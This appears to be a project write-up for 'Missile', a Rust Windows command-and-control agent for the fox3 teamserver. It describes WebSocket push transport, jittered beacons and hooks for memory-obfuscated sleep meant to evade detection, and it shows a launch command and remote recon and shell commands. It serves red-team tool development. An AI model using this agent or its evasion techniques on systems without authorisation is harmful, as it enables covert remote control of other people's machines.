fox3 is a Go teamserver with a React dashboard that manages agents, dispatches jobs, and streams results in real time. Missile fills the agent side: a Rust Windows agent that exercises the protocol through real checkins, job execution, and tunnel traffic.

What it is

Missile is a Windows C2 agent in Rust. No managed runtime, no heavy dependency tree, and a single static binary that speaks the fox3 wire protocol on a configurable beacon interval. The stripped binary is under 2 MB.

It is a development agent for fox3. The point is to exercise the server through real transport paths, job types, and tunnel relay behavior instead of relying on a narrow test harness.

The transport: HTTP with automatic WSS upgrade

Transport is the main design point.

Most HTTP beacons work like this: agent wakes up, POSTs to the server, reads the response, goes back to sleep. It is simple and reliable, but there is an inherent latency floor: any job sent to the agent sits queued until the agent’s next wake. For interactive operations like SOCKS proxying or file transfers, that delay is painful.

Missile does something different. On first contact it tries to promote the HTTP connection to a WebSocket:

Missile                        fox3 HTTP listener (same port)
   │                                     │
   ├── HTTP POST / ─────────────────────►│   initial checkin (HTTPS fallback)
   │◄──────────────────────────────────-─┤   authenticated, session JWT issued
   │                                     │
   ├── GET / (Upgrade: websocket) ───────►│   upgrade request, same URL, same port
   │◄──────────────────────────────────-─┤   101 Switching Protocols
   │                                     │
   ├── Binary frame (JWE) ──────────────►│   all subsequent checkins
   │◄──────────────────────────────────-─┤   binary frame response
   │                                     │
   │   [server has a job for the agent]  │
   │◄── Binary frame (server push) ──────┤   delivered immediately, no polling

No separate listener, no configuration change needed — the same port that handles regular POST checkins also handles the WebSocket upgrade. If the upgrade works, you get:

  • No per-checkin TLS handshake — the connection is already established, subsequent checkins are just binary frames on the existing socket
  • Server push — when the server has a job ready (a SOCKS packet, a reverse port-forward chunk, a queued command), it pushes a binary frame immediately instead of waiting for the agent to ask. The agent listens on the socket via WSAEventSelect so a kernel event fires the moment data arrives, waking it out of sleep instantly
  • Proxy tunneling — the upgrade goes through HTTP CONNECT proxies too, so it works in environments where outbound traffic is proxied

If the upgrade fails for any reason — server doesn’t support it, network blocked — Missile falls back to plain HTTPS POST with no visible difference to the operator. If an established WebSocket drops, the next checkin retries the upgrade automatically before falling through to HTTP.

The startup view shows which path the agent is prepared to use:

Missile startup — missile.exe terminal showing Transport, Sleep, WSS auto-upgrade enabled, Agent ID

(WSS auto-upgrade enabled) is a flag, not a confirmation. It means Missile will attempt the upgrade on first contact. Once it succeeds, the transport.kind() field switches from "https" to "wss". The server-side push machinery uses that value to decide whether to push immediately or wait for polling.

Encrypted sleep

While Missile is sleeping between checkins it’s not just calling Sleep(). The current implementation uses an interruptible condvar with jitter — actual sleep duration is the base interval ±jitter%, randomised each cycle so beacon intervals aren’t uniform. The WSS push path can wake the sleep early via a kernel event (WSAEventSelect) when the server pushes, so tunnel traffic doesn’t have to wait.

The architecture in agent.rs has hooks for replacing the sleep with memory-obfuscated variants, such as an Ekko-style timer flow or an NtDelayExecution direct syscall path, while keeping the same interrupt interface.

Checking in

Drop the binary, point it at a listener:

missile.exe --url http://10.0.0.1:9001/ --psk <key> --sleep 60s --jitter 20

It generates a UUID that persists for the process lifetime and shows up in the dashboard a few seconds later:

fox3 Connected Agents — DESKTOP-09M8R37, LOW, Delayed, windows/x86_64, 4s sleep

The Interact button opens the dashboard terminal. Anything typed there queues as a job and returns on the next checkin, or immediately if WSS push is active.

Basic recon

$ whoami
USER INFORMATION
----------------
DESKTOP-09M8R37\null
SID: S-1-5-21-3075911037-2671532851-2821456086-1002

$ ifconfig
Windows IP Configuration
Host Name . . . : DESKTOP-09M8R37
...

$ pwd
C:\Users\null\repo_fox3

Results land in the terminal with timestamps and a COMPLETE badge. The full job history for the session is scrollable in one place:

Job terminal — completed pwd, ifconfig, whoami with output inline

Processes, file system, execution

$ ps                        # full process list — PID, name, user, memory
$ ls C:\                    # directory listing with sizes and timestamps
$ run ipconfig /all         # direct process spawn, no shell
$ shell dir C:\Windows      # via cmd.exe /c
$ sleep 120s --jitter 30    # adjust beacon interval live

ps uses CreateToolhelp32Snapshot. run spawns directly without a shell. shell goes through cmd.exe /c for pipe operators and built-ins.

Beacon interval changes are picked up on the next checkin — no restart needed.

The server view

Three active listeners during this session, two running over HTTP:

Active Listeners — missile-c2 listener running, alongside other listeners

The topology graph shows the full picture of what’s connected through what:

Network Topology — fox3 server, listeners, and Missile agent node connected

Each node is labelled with the listener name and protocol. As agents come and go, or as you add listeners, the graph updates in real time via the WebSocket push from the server.

Current state

Missile beacons reliably, runs jobs, handles the WSS upgrade cleanly, and gives the tunnel relay real agent traffic to work with. The result is a practical baseline for testing fox3 transport, job, and relay behavior end to end.

Source: github.com/nzyuko/missile